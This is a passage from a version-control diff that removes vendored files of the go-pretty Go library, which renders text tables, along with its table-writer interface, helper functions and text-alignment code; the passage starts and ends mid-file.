TitleOptionsBlackOnMagenta = TitleOptions{
Colors: append(ColorOptionsBlackOnMagentaWhite.Header, text.Bold),
}
// TitleOptionsBlackOnRed renders Black Bold text on Red background.
TitleOptionsBlackOnRed = TitleOptions{
Colors: append(ColorOptionsBlackOnRedWhite.Header, text.Bold),
}
// TitleOptionsBlackOnYellow renders Black Bold text on Yellow background.
TitleOptionsBlackOnYellow = TitleOptions{
Colors: append(ColorOptionsBlackOnYellowWhite.Header, text.Bold),
}
// TitleOptionsBlueOnBlack renders Blue Bold text on Black background.
TitleOptionsBlueOnBlack = TitleOptions{
Colors: append(ColorOptionsBlueWhiteOnBlack.Header, text.Bold),
}
// TitleOptionsCyanOnBlack renders Cyan Bold text on Black background.
TitleOptionsCyanOnBlack = TitleOptions{
Colors: append(ColorOptionsCyanWhiteOnBlack.Header, text.Bold),
}
// TitleOptionsGreenOnBlack renders Green Bold text on Black background.
TitleOptionsGreenOnBlack = TitleOptions{
Colors: append(ColorOptionsGreenWhiteOnBlack.Header, text.Bold),
}
// TitleOptionsMagentaOnBlack renders Magenta Bold text on Black background.
TitleOptionsMagentaOnBlack = TitleOptions{
Colors: append(ColorOptionsMagentaWhiteOnBlack.Header, text.Bold),
}
// TitleOptionsRedOnBlack renders Red Bold text on Black background.
TitleOptionsRedOnBlack = TitleOptions{
Colors: append(ColorOptionsRedWhiteOnBlack.Header, text.Bold),
}
// TitleOptionsYellowOnBlack renders Yellow Bold text on Black background.
TitleOptionsYellowOnBlack = TitleOptions{
Colors: append(ColorOptionsYellowWhiteOnBlack.Header, text.Bold),
}
)
-923
View File
@@ -1,923 +0,0 @@
package table
import (
"fmt"
"io"
"strings"
"github.com/jedib0t/go-pretty/v6/text"
)
// Row defines a single row in the Table.
type Row []interface{}
// RowPainter is a custom function that takes a Row as input and returns the
// text.Colors{} to use on the entire row
type RowPainter func(row Row) text.Colors
// rowStr defines a single row in the Table comprised of just string objects.
type rowStr []string
// areEqual returns true if the contents of the 2 given columns are the same
func (row rowStr) areEqual(colIdx1 int, colIdx2 int) bool {
return colIdx1 >= 0 && colIdx2 < len(row) && row[colIdx1] == row[colIdx2]
}
// Table helps print a 2-dimensional array in a human readable pretty-table.
type Table struct {
// allowedRowLength is the max allowed length for a row (or line of output)
allowedRowLength int
// enable automatic indexing of the rows and columns like a spreadsheet?
autoIndex bool
// autoIndexVIndexMaxLength denotes the length in chars for the last rownum
autoIndexVIndexMaxLength int
// caption stores the text to be rendered just below the table; and doesn't
// get used when rendered as a CSV
caption string
// columnIsNonNumeric stores if a column contains non-numbers in all rows
columnIsNonNumeric []bool
// columnConfigs stores the custom-configuration for 1 or more columns
columnConfigs []ColumnConfig
// columnConfigMap stores the custom-configuration by column
// number and is generated before rendering
columnConfigMap map[int]ColumnConfig
// htmlCSSClass stores the HTML CSS Class to use on the <table> node
htmlCSSClass string
// indexColumn stores the number of the column considered as the "index"
indexColumn int
// maxColumnLengths stores the length of the longest line in each column
maxColumnLengths []int
// maxRowLength stores the length of the longest row
maxRowLength int
// numColumns stores the (max.) number of columns seen
numColumns int
// numLinesRendered keeps track of the number of lines rendered and helps in
// paginating long tables
numLinesRendered int
// outputMirror stores an io.Writer where the "Render" functions would write
outputMirror io.Writer
// pageSize stores the maximum lines to render before rendering the header
// again (to denote a page break) - useful when you are dealing with really
// long tables
pageSize int
// rows stores the rows that make up the body (in string form)
rows []rowStr
// rowsColors stores the text.Colors over-rides for each row as defined by
// rowPainter
rowsColors []text.Colors
// rowsConfigs stores RowConfig for each row
rowsConfigMap map[int]RowConfig
// rowsRaw stores the rows that make up the body
rowsRaw []Row
// rowsFooter stores the rows that make up the footer (in string form)
rowsFooter []rowStr
// rowsFooterConfigs stores RowConfig for each footer row
rowsFooterConfigMap map[int]RowConfig
// rowsFooterRaw stores the rows that make up the footer
rowsFooterRaw []Row
// rowsHeader stores the rows that make up the header (in string form)
rowsHeader []rowStr
// rowsHeaderConfigs stores RowConfig for each header row
rowsHeaderConfigMap map[int]RowConfig
// rowsHeaderRaw stores the rows that make up the header
rowsHeaderRaw []Row
// rowPainter is a custom function that given a Row, returns the colors to
// use on the entire row
rowPainter RowPainter
// rowSeparator is a dummy row that contains the separator columns (dashes
// that make up the separator between header/body/footer
rowSeparator rowStr
// separators is used to keep track of all rowIndices after which a
// separator has to be rendered
separators map[int]bool
// sortBy stores a map of Column
sortBy []SortBy
// style contains all the strings used to draw the table, and more
style *Style
// suppressEmptyColumns hides columns which have no content on all regular
// rows
suppressEmptyColumns bool
// title contains the text to appear above the table
title string
}
// AppendFooter appends the row to the List of footers to render.
//
// Only the first item in the "config" will be tagged against this row.
func (t *Table) AppendFooter(row Row, config ...RowConfig) {
t.rowsFooterRaw = append(t.rowsFooterRaw, row)
if len(config) > 0 {
if t.rowsFooterConfigMap == nil {
t.rowsFooterConfigMap = make(map[int]RowConfig)
}
t.rowsFooterConfigMap[len(t.rowsFooterRaw)-1] = config[0]
}
}
// AppendHeader appends the row to the List of headers to render.
//
// Only the first item in the "config" will be tagged against this row.
func (t *Table) AppendHeader(row Row, config ...RowConfig) {
t.rowsHeaderRaw = append(t.rowsHeaderRaw, row)
if len(config) > 0 {
if t.rowsHeaderConfigMap == nil {
t.rowsHeaderConfigMap = make(map[int]RowConfig)
}
t.rowsHeaderConfigMap[len(t.rowsHeaderRaw)-1] = config[0]
}
}
// AppendRow appends the row to the List of rows to render.
//
// Only the first item in the "config" will be tagged against this row.
func (t *Table) AppendRow(row Row, config ...RowConfig) {
t.rowsRaw = append(t.rowsRaw, row)
if len(config) > 0 {
if t.rowsConfigMap == nil {
t.rowsConfigMap = make(map[int]RowConfig)
}
t.rowsConfigMap[len(t.rowsRaw)-1] = config[0]
}
}
// AppendRows appends the rows to the List of rows to render.
//
// Only the first item in the "config" will be tagged against all the rows.
func (t *Table) AppendRows(rows []Row, config ...RowConfig) {
for _, row := range rows {
t.AppendRow(row, config...)
}
}
// AppendSeparator helps render a separator row after the current last row. You
// could call this function over and over, but it will be a no-op unless you
// call AppendRow or AppendRows in between. Likewise, if the last thing you
// append is a separator, it will not be rendered in addition to the usual table
// separator.
//
//******************************************************************************
// Please note the following caveats:
// 1. SetPageSize(): this may end up creating consecutive separator rows near
// the end of a page or at the beginning of a page
// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
// separators may not appear after the row it was originally intended to
// follow
//******************************************************************************
func (t *Table) AppendSeparator() {
if t.separators == nil {
t.separators = make(map[int]bool)
}
if len(t.rowsRaw) > 0 {
t.separators[len(t.rowsRaw)-1] = true
}
}
// Length returns the number of rows to be rendered.
func (t *Table) Length() int {
return len(t.rowsRaw)
}
// ResetFooters resets and clears all the Footer rows appended earlier.
func (t *Table) ResetFooters() {
t.rowsFooterRaw = nil
}
// ResetHeaders resets and clears all the Header rows appended earlier.
func (t *Table) ResetHeaders() {
t.rowsHeaderRaw = nil
}
// ResetRows resets and clears all the rows appended earlier.
func (t *Table) ResetRows() {
t.rowsRaw = nil
t.separators = nil
}
// SetAllowedRowLength sets the maximum allowed length or a row (or line of
// output) when rendered as a table. Rows that are longer than this limit will
// be "snipped" to the length. Length has to be a positive value to take effect.
func (t *Table) SetAllowedRowLength(length int) {
t.allowedRowLength = length
}
// SetAutoIndex adds a generated header with columns such as "A", "B", "C", etc.
// and a leading column with the row number similar to what you'd see on any
// spreadsheet application. NOTE: Appending a Header will void this
// functionality.
func (t *Table) SetAutoIndex(autoIndex bool) {
t.autoIndex = autoIndex
}
// SetCaption sets the text to be rendered just below the table. This will not
// show up when the Table is rendered as a CSV.
func (t *Table) SetCaption(format string, a ...interface{}) {
t.caption = fmt.Sprintf(format, a...)
}
// SetColumnConfigs sets the configs for each Column.
func (t *Table) SetColumnConfigs(configs []ColumnConfig) {
t.columnConfigs = configs
}
// SetHTMLCSSClass sets the the HTML CSS Class to use on the <table> node
// when rendering the Table in HTML format.
//
// Deprecated: in favor of Style().HTML.CSSClass
func (t *Table) SetHTMLCSSClass(cssClass string) {
t.htmlCSSClass = cssClass
}
// SetIndexColumn sets the given Column # as the column that has the row
// "Number". Valid values range from 1 to N. Note that this is not 0-indexed.
func (t *Table) SetIndexColumn(colNum int) {
t.indexColumn = colNum
}
// SetOutputMirror sets an io.Writer for all the Render functions to "Write" to
// in addition to returning a string.
func (t *Table) SetOutputMirror(mirror io.Writer) {
t.outputMirror = mirror
}
// SetPageSize sets the maximum number of lines to render before rendering the
// header rows again. This can be useful when dealing with tables containing a
// long list of rows that can span pages. Please note that the pagination logic
// will not consider Header/Footer lines for paging.
func (t *Table) SetPageSize(numLines int) {
t.pageSize = numLines
}
// SetRowPainter sets the RowPainter function which determines the colors to use
// on a row. Before rendering, this function is invoked on all rows and the
// color of each row is determined. This color takes precedence over other ways
// to set color (ColumnConfig.Color*, SetColor*()).
func (t *Table) SetRowPainter(painter RowPainter) {
t.rowPainter = painter
}
// SetStyle overrides the DefaultStyle with the provided one.
func (t *Table) SetStyle(style Style) {
t.style = &style
}
// SetTitle sets the title text to be rendered above the table.
func (t *Table) SetTitle(format string, a ...interface{}) {
t.title = fmt.Sprintf(format, a...)
}
// SortBy sets the rules for sorting the Rows in the order specified. i.e., the
// first SortBy instruction takes precedence over the second and so on. Any
// duplicate instructions on the same column will be discarded while sorting.
func (t *Table) SortBy(sortBy []SortBy) {
t.sortBy = sortBy
}
// Style returns the current style.
func (t *Table) Style() *Style {
if t.style == nil {
tempStyle := StyleDefault
t.style = &tempStyle
}
return t.style
}
// SuppressEmptyColumns hides columns when the column is empty in ALL the
// regular rows.
func (t *Table) SuppressEmptyColumns() {
t.suppressEmptyColumns = true
}
func (t *Table) analyzeAndStringify(row Row, hint renderHint) rowStr {
// update t.numColumns if this row is the longest seen till now
if len(row) > t.numColumns {
// init the slice for the first time; and pad it the rest of the time
if t.numColumns == 0 {
t.columnIsNonNumeric = make([]bool, len(row))
} else {
t.columnIsNonNumeric = append(t.columnIsNonNumeric, make([]bool, len(row)-t.numColumns)...)
}
// update t.numColumns
t.numColumns = len(row)
}
// convert each column to string and figure out if it has non-numeric data
rowOut := make(rowStr, len(row))
for colIdx, col := range row {
// if the column is not a number, keep track of it
if !hint.isHeaderRow && !hint.isFooterRow && !t.columnIsNonNumeric[colIdx] && !isNumber(col) {
t.columnIsNonNumeric[colIdx] = true
}
// convert to a string and store it in the row
var colStr string
if transformer := t.getColumnTransformer(colIdx, hint); transformer != nil {
colStr = transformer(col)
} else if colStrVal, ok := col.(string); ok {
colStr = colStrVal
} else {
colStr = fmt.Sprint(col)
}
if strings.Contains(colStr, "\t") {
colStr = strings.Replace(colStr, "\t", " ", -1)
}
if strings.Contains(colStr, "\r") {
colStr = strings.Replace(colStr, "\r", "", -1)
}
rowOut[colIdx] = colStr
}
return rowOut
}
func (t *Table) getAlign(colIdx int, hint renderHint) text.Align {
align := text.AlignDefault
if cfg, ok := t.columnConfigMap[colIdx]; ok {
if hint.isHeaderRow {
align = cfg.AlignHeader
} else if hint.isFooterRow {
align = cfg.AlignFooter
} else {
align = cfg.Align
}
}
if align == text.AlignDefault {
if !t.columnIsNonNumeric[colIdx] {
align = text.AlignRight
} else if hint.isAutoIndexRow {
align = text.AlignCenter
}
}
return align
}
func (t *Table) getAutoIndexColumnIDs() rowStr {
row := make(rowStr, t.numColumns)
for colIdx := range row {
row[colIdx] = AutoIndexColumnID(colIdx)
}
return row
}
func (t *Table) getBorderColors(hint renderHint) text.Colors {
if hint.isFooterRow {
return t.style.Color.Footer
} else if t.autoIndex {
return t.style.Color.IndexColumn
}
return t.style.Color.Header
}
func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
if t.rowPainter != nil && hint.isRegularRow() && !t.isIndexColumn(colIdx, hint) {
colors := t.rowsColors[hint.rowNumber-1]
if colors != nil {
return colors
}
}
if cfg, ok := t.columnConfigMap[colIdx]; ok {
if hint.isSeparatorRow {
return nil
} else if hint.isHeaderRow {
return cfg.ColorsHeader
} else if hint.isFooterRow {
return cfg.ColorsFooter
}
return cfg.Colors
}
return nil
}
func (t *Table) getColumnSeparator(row rowStr, colIdx int, hint renderHint) string {
separator := t.style.Box.MiddleVertical
if hint.isSeparatorRow {
if hint.isBorderTop {
if t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint) {
separator = t.style.Box.MiddleHorizontal
} else {
separator = t.style.Box.TopSeparator
}
} else if hint.isBorderBottom {
if t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint) {
separator = t.style.Box.MiddleHorizontal
} else {
separator = t.style.Box.BottomSeparator
}
} else {
separator = t.getColumnSeparatorNonBorder(
t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint),
t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint),
colIdx,
hint,
)
}
}
return separator
}
func (t *Table) getColumnSeparatorNonBorder(mergeCellsAbove bool, mergeCellsBelow bool, colIdx int, hint renderHint) string {
mergeNextCol := t.shouldMergeCellsVertically(colIdx, hint)
if hint.isAutoIndexColumn {
return t.getColumnSeparatorNonBorderAutoIndex(mergeNextCol, hint)
}
mergeCurrCol := t.shouldMergeCellsVertically(colIdx-1, hint)
return t.getColumnSeparatorNonBorderNonAutoIndex(mergeCellsAbove, mergeCellsBelow, mergeCurrCol, mergeNextCol)
}
func (t *Table) getColumnSeparatorNonBorderAutoIndex(mergeNextCol bool, hint renderHint) string {
if hint.isHeaderOrFooterSeparator() {
if mergeNextCol {
return t.style.Box.MiddleVertical
}
return t.style.Box.LeftSeparator
} else if mergeNextCol {
return t.style.Box.RightSeparator
}
return t.style.Box.MiddleSeparator
}
func (t *Table) getColumnSeparatorNonBorderNonAutoIndex(mergeCellsAbove bool, mergeCellsBelow bool, mergeCurrCol bool, mergeNextCol bool) string {
if mergeCellsAbove && mergeCellsBelow && mergeCurrCol && mergeNextCol {
return t.style.Box.EmptySeparator
} else if mergeCellsAbove && mergeCellsBelow {
return t.style.Box.MiddleHorizontal
} else if mergeCellsAbove {
return t.style.Box.TopSeparator
} else if mergeCellsBelow {
return t.style.Box.BottomSeparator
} else if mergeCurrCol && mergeNextCol {
return t.style.Box.MiddleVertical
} else if mergeCurrCol {
return t.style.Box.LeftSeparator
}
return t.style.Box.MiddleSeparator
}
func (t *Table) getColumnTransformer(colIdx int, hint renderHint) text.Transformer {
var transformer text.Transformer
if cfg, ok := t.columnConfigMap[colIdx]; ok {
if hint.isHeaderRow {
transformer = cfg.TransformerHeader
} else if hint.isFooterRow {
transformer = cfg.TransformerFooter
} else {
transformer = cfg.Transformer
}
}
return transformer
}
func (t *Table) getColumnWidthMax(colIdx int) int {
if cfg, ok := t.columnConfigMap[colIdx]; ok {
return cfg.WidthMax
}
return 0
}
func (t *Table) getColumnWidthMin(colIdx int) int {
if cfg, ok := t.columnConfigMap[colIdx]; ok {
return cfg.WidthMin
}
return 0
}
func (t *Table) getFormat(hint renderHint) text.Format {
if hint.isSeparatorRow {
return text.FormatDefault
} else if hint.isHeaderRow {
return t.style.Format.Header
} else if hint.isFooterRow {
return t.style.Format.Footer
}
return t.style.Format.Row
}
func (t *Table) getRow(rowIdx int, hint renderHint) rowStr {
switch {
case hint.isHeaderRow:
if rowIdx >= 0 && rowIdx < len(t.rowsHeader) {
return t.rowsHeader[rowIdx]
}
case hint.isFooterRow:
if rowIdx >= 0 && rowIdx < len(t.rowsFooter) {
return t.rowsFooter[rowIdx]
}
default:
if rowIdx >= 0 && rowIdx < len(t.rows) {
return t.rows[rowIdx]
}
}
return rowStr{}
}
func (t *Table) getRowConfig(hint renderHint) RowConfig {
rowIdx := hint.rowNumber - 1
if rowIdx < 0 {
rowIdx = 0
}
switch {
case hint.isHeaderRow:
return t.rowsHeaderConfigMap[rowIdx]
case hint.isFooterRow:
return t.rowsFooterConfigMap[rowIdx]
default:
return t.rowsConfigMap[rowIdx]
}
}
func (t *Table) getSeparatorColors(hint renderHint) text.Colors {
if hint.isHeaderRow {
return t.style.Color.Header
} else if hint.isFooterRow {
return t.style.Color.Footer
} else if hint.isAutoIndexColumn {
return t.style.Color.IndexColumn
} else if hint.rowNumber > 0 && hint.rowNumber%2 == 0 {
return t.style.Color.RowAlternate
}
return t.style.Color.Row
}
func (t *Table) getVAlign(colIdx int, hint renderHint) text.VAlign {
vAlign := text.VAlignDefault
if cfg, ok := t.columnConfigMap[colIdx]; ok {
if hint.isHeaderRow {
vAlign = cfg.VAlignHeader
} else if hint.isFooterRow {
vAlign = cfg.VAlignFooter
} else {
vAlign = cfg.VAlign
}
}
return vAlign
}
func (t *Table) initForRender() {
// pick a default style if none was set until now
t.Style()
// initialize the column configs and normalize them
t.initForRenderColumnConfigs()
// initialize and stringify all the raw rows
t.initForRenderRows()
// find the longest continuous line in each column
t.initForRenderColumnLengths()
// generate a separator row and calculate maximum row length
t.initForRenderRowSeparator()
// reset the counter for the number of lines rendered
t.numLinesRendered = 0
}
func (t *Table) initForRenderColumnConfigs() {
findColumnNumber := func(row Row, colName string) int {
for colIdx, col := range row {
if fmt.Sprint(col) == colName {
return colIdx + 1
}
}
return 0
}
t.columnConfigMap = map[int]ColumnConfig{}
for _, colCfg := range t.columnConfigs {
// find the column number if none provided; this logic can work only if
// a header row is present and has a column with the given name
if colCfg.Number == 0 {
for _, row := range t.rowsHeaderRaw {
colCfg.Number = findColumnNumber(row, colCfg.Name)
if colCfg.Number > 0 {
break
}
}
}
if colCfg.Number > 0 {
t.columnConfigMap[colCfg.Number-1] = colCfg
}
}
}
func (t *Table) initForRenderColumnLengths() {
var findMaxColumnLengths = func(rows []rowStr) {
for _, row := range rows {
for colIdx, colStr := range row {
longestLineLen := text.LongestLineLen(colStr)
if longestLineLen > t.maxColumnLengths[colIdx] {
t.maxColumnLengths[colIdx] = longestLineLen
}
}
}
}
t.maxColumnLengths = make([]int, t.numColumns)
findMaxColumnLengths(t.rowsHeader)
findMaxColumnLengths(t.rows)
findMaxColumnLengths(t.rowsFooter)
// restrict the column lengths if any are over or under the limits
for colIdx := range t.maxColumnLengths {
maxWidth := t.getColumnWidthMax(colIdx)
if maxWidth > 0 && t.maxColumnLengths[colIdx] > maxWidth {
t.maxColumnLengths[colIdx] = maxWidth
}
minWidth := t.getColumnWidthMin(colIdx)
if minWidth > 0 && t.maxColumnLengths[colIdx] < minWidth {
t.maxColumnLengths[colIdx] = minWidth
}
}
}
func (t *Table) initForRenderHideColumns() {
// if there is nothing to hide, return fast
hasHiddenColumns := false
for _, cc := range t.columnConfigMap {
if cc.Hidden {
hasHiddenColumns = true
break
}
}
if !hasHiddenColumns {
return
}
colIdxMap := make(map[int]int)
numColumns := 0
_hideColumns := func(rows []rowStr) []rowStr {
var rsp []rowStr
for _, row := range rows {
var rowNew rowStr
for colIdx, col := range row {
cc := t.columnConfigMap[colIdx]
if !cc.Hidden {
rowNew = append(rowNew, col)
colIdxMap[colIdx] = len(rowNew) - 1
}
}
if len(rowNew) > numColumns {
numColumns = len(rowNew)
}
rsp = append(rsp, rowNew)
}
return rsp
}
// hide columns as directed
t.rows = _hideColumns(t.rows)
t.rowsFooter = _hideColumns(t.rowsFooter)
t.rowsHeader = _hideColumns(t.rowsHeader)
// reset numColumns to the new number of columns
t.numColumns = numColumns
// re-create columnIsNonNumeric with new column indices
columnIsNonNumeric := make([]bool, t.numColumns)
for oldColIdx, nonNumeric := range t.columnIsNonNumeric {
if newColIdx, ok := colIdxMap[oldColIdx]; ok {
columnIsNonNumeric[newColIdx] = nonNumeric
}
}
t.columnIsNonNumeric = columnIsNonNumeric
// re-create columnConfigMap with new column indices
columnConfigMap := make(map[int]ColumnConfig)
for oldColIdx, cc := range t.columnConfigMap {
if newColIdx, ok := colIdxMap[oldColIdx]; ok {
columnConfigMap[newColIdx] = cc
}
}
t.columnConfigMap = columnConfigMap
}
func (t *Table) initForRenderRows() {
t.reset()
// auto-index: calc the index column's max length
t.autoIndexVIndexMaxLength = len(fmt.Sprint(len(t.rowsRaw)))
// stringify all the rows to make it easy to render
if t.rowPainter != nil {
t.rowsColors = make([]text.Colors, len(t.rowsRaw))
}
t.rows = t.initForRenderRowsStringify(t.rowsRaw, renderHint{})
t.rowsFooter = t.initForRenderRowsStringify(t.rowsFooterRaw, renderHint{isFooterRow: true})
t.rowsHeader = t.initForRenderRowsStringify(t.rowsHeaderRaw, renderHint{isHeaderRow: true})
// sort the rows as requested
t.initForRenderSortRows()
// suppress columns without any content
t.initForRenderSuppressColumns()
// strip out hidden columns
t.initForRenderHideColumns()
}
func (t *Table) initForRenderRowsStringify(rows []Row, hint renderHint) []rowStr {
rowsStr := make([]rowStr, len(rows))
for idx, row := range rows {
if t.rowPainter != nil && hint.isRegularRow() {
t.rowsColors[idx] = t.rowPainter(row)
}
rowsStr[idx] = t.analyzeAndStringify(row, hint)
}
return rowsStr
}
func (t *Table) initForRenderRowSeparator() {
t.maxRowLength = 0
if t.autoIndex {
t.maxRowLength += text.RuneCount(t.style.Box.PaddingLeft)
t.maxRowLength += len(fmt.Sprint(len(t.rows)))
t.maxRowLength += text.RuneCount(t.style.Box.PaddingRight)
if t.style.Options.SeparateColumns {
t.maxRowLength += text.RuneCount(t.style.Box.MiddleSeparator)
}
}
if t.style.Options.SeparateColumns {
t.maxRowLength += text.RuneCount(t.style.Box.MiddleSeparator) * (t.numColumns - 1)
}
t.rowSeparator = make(rowStr, t.numColumns)
for colIdx, maxColumnLength := range t.maxColumnLengths {
maxColumnLength += text.RuneCount(t.style.Box.PaddingLeft + t.style.Box.PaddingRight)
t.maxRowLength += maxColumnLength
t.rowSeparator[colIdx] = text.RepeatAndTrim(t.style.Box.MiddleHorizontal, maxColumnLength)
}
if t.style.Options.DrawBorder {
t.maxRowLength += text.RuneCount(t.style.Box.Left + t.style.Box.Right)
}
}
func (t *Table) initForRenderSortRows() {
if len(t.sortBy) == 0 {
return
}
// sort the rows
sortedRowIndices := t.getSortedRowIndices()
sortedRows := make([]rowStr, len(t.rows))
for idx := range t.rows {
sortedRows[idx] = t.rows[sortedRowIndices[idx]]
}
t.rows = sortedRows
// sort the rowsColors
if len(t.rowsColors) > 0 {
sortedRowsColors := make([]text.Colors, len(t.rows))
for idx := range t.rows {
sortedRowsColors[idx] = t.rowsColors[sortedRowIndices[idx]]
}
t.rowsColors = sortedRowsColors
}
}
func (t *Table) initForRenderSuppressColumns() {
shouldSuppressColumn := func(colIdx int) bool {
for _, row := range t.rows {
if colIdx < len(row) && row[colIdx] != "" {
return false
}
}
return true
}
if t.suppressEmptyColumns {
for colIdx := 0; colIdx < t.numColumns; colIdx++ {
if shouldSuppressColumn(colIdx) {
cc := t.columnConfigMap[colIdx]
cc.Hidden = true
t.columnConfigMap[colIdx] = cc
}
}
}
}
func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
return t.indexColumn == colIdx+1 || hint.isAutoIndexColumn
}
func (t *Table) render(out *strings.Builder) string {
outStr := out.String()
if t.outputMirror != nil && len(outStr) > 0 {
_, _ = t.outputMirror.Write([]byte(outStr))
_, _ = t.outputMirror.Write([]byte("\n"))
}
return outStr
}
func (t *Table) reset() {
t.autoIndexVIndexMaxLength = 0
t.columnIsNonNumeric = nil
t.maxColumnLengths = nil
t.maxRowLength = 0
t.numColumns = 0
t.rowsColors = nil
t.rowSeparator = nil
t.rows = nil
t.rowsFooter = nil
t.rowsHeader = nil
}
func (t *Table) shouldMergeCellsHorizontallyAbove(row rowStr, colIdx int, hint renderHint) bool {
if hint.isAutoIndexColumn || hint.isAutoIndexRow {
return false
}
rowConfig := t.getRowConfig(hint)
if hint.isSeparatorRow {
if hint.isHeaderRow && hint.rowNumber == 1 {
rowConfig = t.getRowConfig(hint)
row = t.getRow(hint.rowNumber-1, hint)
} else if hint.isFooterRow && hint.isFirstRow {
rowConfig = t.getRowConfig(renderHint{isLastRow: true, rowNumber: len(t.rows)})
row = t.getRow(len(t.rows)-1, renderHint{})
} else if hint.isFooterRow && hint.isBorderBottom {
row = t.getRow(len(t.rowsFooter)-1, renderHint{isFooterRow: true})
} else {
row = t.getRow(hint.rowNumber-1, hint)
}
}
if rowConfig.AutoMerge {
return row.areEqual(colIdx-1, colIdx)
}
return false
}
func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint renderHint) bool {
if hint.isAutoIndexColumn || hint.isAutoIndexRow {
return false
}
var rowConfig RowConfig
if hint.isSeparatorRow {
if hint.isHeaderRow && hint.rowNumber == 0 {
rowConfig = t.getRowConfig(renderHint{isHeaderRow: true, rowNumber: 1})
row = t.getRow(0, hint)
} else if hint.isHeaderRow && hint.isLastRow {
rowConfig = t.getRowConfig(renderHint{rowNumber: 1})
row = t.getRow(0, renderHint{})
} else if hint.isFooterRow && hint.rowNumber >= 0 {
rowConfig = t.getRowConfig(renderHint{isFooterRow: true, rowNumber: 1})
row = t.getRow(hint.rowNumber, renderHint{isFooterRow: true})
} else if hint.isRegularRow() {
rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
row = t.getRow(hint.rowNumber, renderHint{})
}
}
if rowConfig.AutoMerge {
return row.areEqual(colIdx-1, colIdx)
}
return false
}
func (t *Table) shouldMergeCellsVertically(colIdx int, hint renderHint) bool {
if t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
if hint.isSeparatorRow {
rowPrev := t.getRow(hint.rowNumber-1, hint)
rowNext := t.getRow(hint.rowNumber, hint)
if colIdx < len(rowPrev) && colIdx < len(rowNext) {
return rowPrev[colIdx] == rowNext[colIdx] || "" == rowNext[colIdx]
}
} else {
rowPrev := t.getRow(hint.rowNumber-2, hint)
rowCurr := t.getRow(hint.rowNumber-1, hint)
if colIdx < len(rowPrev) && colIdx < len(rowCurr) {
return rowPrev[colIdx] == rowCurr[colIdx] || "" == rowCurr[colIdx]
}
}
}
return false
}
// renderHint has hints for the Render*() logic
type renderHint struct {
isAutoIndexColumn bool // auto-index column?
isAutoIndexRow bool // auto-index row?
isBorderBottom bool // bottom-border?
isBorderTop bool // top-border?
isFirstRow bool // first-row of header/footer/regular-rows?
isFooterRow bool // footer row?
isHeaderRow bool // header row?
isLastLineOfRow bool // last-line of the current row?
isLastRow bool // last-row of header/footer/regular-rows?
isSeparatorRow bool // separator row?
rowLineNumber int // the line number for a multi-line row
rowNumber int // the row number/index
}
func (h *renderHint) isRegularRow() bool {
return !h.isHeaderRow && !h.isFooterRow
}
func (h *renderHint) isHeaderOrFooterSeparator() bool {
return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
}
func (h *renderHint) isLastLineOfLastRow() bool {
return h.isLastLineOfRow && h.isLastRow
}
-37
View File
@@ -1,37 +0,0 @@
package table
import (
"reflect"
)
// AutoIndexColumnID returns a unique Column ID/Name for the given Column Number.
// The functionality is similar to what you get in an Excel spreadsheet w.r.t.
// the Column ID/Name.
func AutoIndexColumnID(colIdx int) string {
charIdx := colIdx % 26
out := string(rune(65 + charIdx))
colIdx = colIdx / 26
if colIdx > 0 {
return AutoIndexColumnID(colIdx-1) + out
}
return out
}
// isNumber returns true if the argument is a numeric type; false otherwise.
func isNumber(x interface{}) bool {
switch reflect.TypeOf(x).Kind() {
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64,
reflect.Float32, reflect.Float64:
return true
}
return false
}
// WidthEnforcer is a function that helps enforce a width condition on a string.
type WidthEnforcer func(col string, maxLen int) string
// widthEnforcerNone returns the input string as is without any modifications.
func widthEnforcerNone(col string, maxLen int) string {
return col
}
-43
View File
@@ -1,43 +0,0 @@
package table
import (
"io"
)
// Writer declares the interfaces that can be used to setup and render a table.
type Writer interface {
AppendFooter(row Row, configs ...RowConfig)
AppendHeader(row Row, configs ...RowConfig)
AppendRow(row Row, configs ...RowConfig)
AppendRows(rows []Row, configs ...RowConfig)
AppendSeparator()
Length() int
Render() string
RenderCSV() string
RenderHTML() string
RenderMarkdown() string
ResetFooters()
ResetHeaders()
ResetRows()
SetAllowedRowLength(length int)
SetAutoIndex(autoIndex bool)
SetCaption(format string, a ...interface{})
SetColumnConfigs(configs []ColumnConfig)
SetIndexColumn(colNum int)
SetOutputMirror(mirror io.Writer)
SetPageSize(numLines int)
SetRowPainter(painter RowPainter)
SetStyle(style Style)
SetTitle(format string, a ...interface{})
SortBy(sortBy []SortBy)
Style() *Style
SuppressEmptyColumns()
// deprecated; in favor of Style().HTML.CSSClass
SetHTMLCSSClass(cssClass string)
}
// NewWriter initializes and returns a Writer.
func NewWriter() Writer {
return &Table{}
}
-137
View File
@@ -1,137 +0,0 @@
package text
import (
"fmt"
"strconv"
"strings"
"unicode/utf8"
)
// Align denotes how text is to be aligned horizontally.
type Align int
// Align enumerations
const (
AlignDefault Align = iota // same as AlignLeft
AlignLeft // "left "
AlignCenter // " center "
AlignJustify // "justify it"
AlignRight // " right"
)
// Apply aligns the text as directed. For ex.:
// * AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow "
// * AlignLeft.Apply("Jon Snow", 12) returns "Jon Snow "
// * AlignCenter.Apply("Jon Snow", 12) returns " Jon Snow "
// * AlignJustify.Apply("Jon Snow", 12) returns "Jon Snow"
// * AlignRight.Apply("Jon Snow", 12) returns " Jon Snow"
func (a Align) Apply(text string, maxLength int) string {
text = a.trimString(text)
sLen := utf8.RuneCountInString(text)
sLenWoE := RuneCount(text)
numEscChars := sLen - sLenWoE
// now, align the text
switch a {
case AlignDefault, AlignLeft:
return fmt.Sprintf("%-"+strconv.Itoa(maxLength+numEscChars)+"s", text)
case AlignCenter:
if sLenWoE < maxLength {
// left pad with half the number of spaces needed before using %text
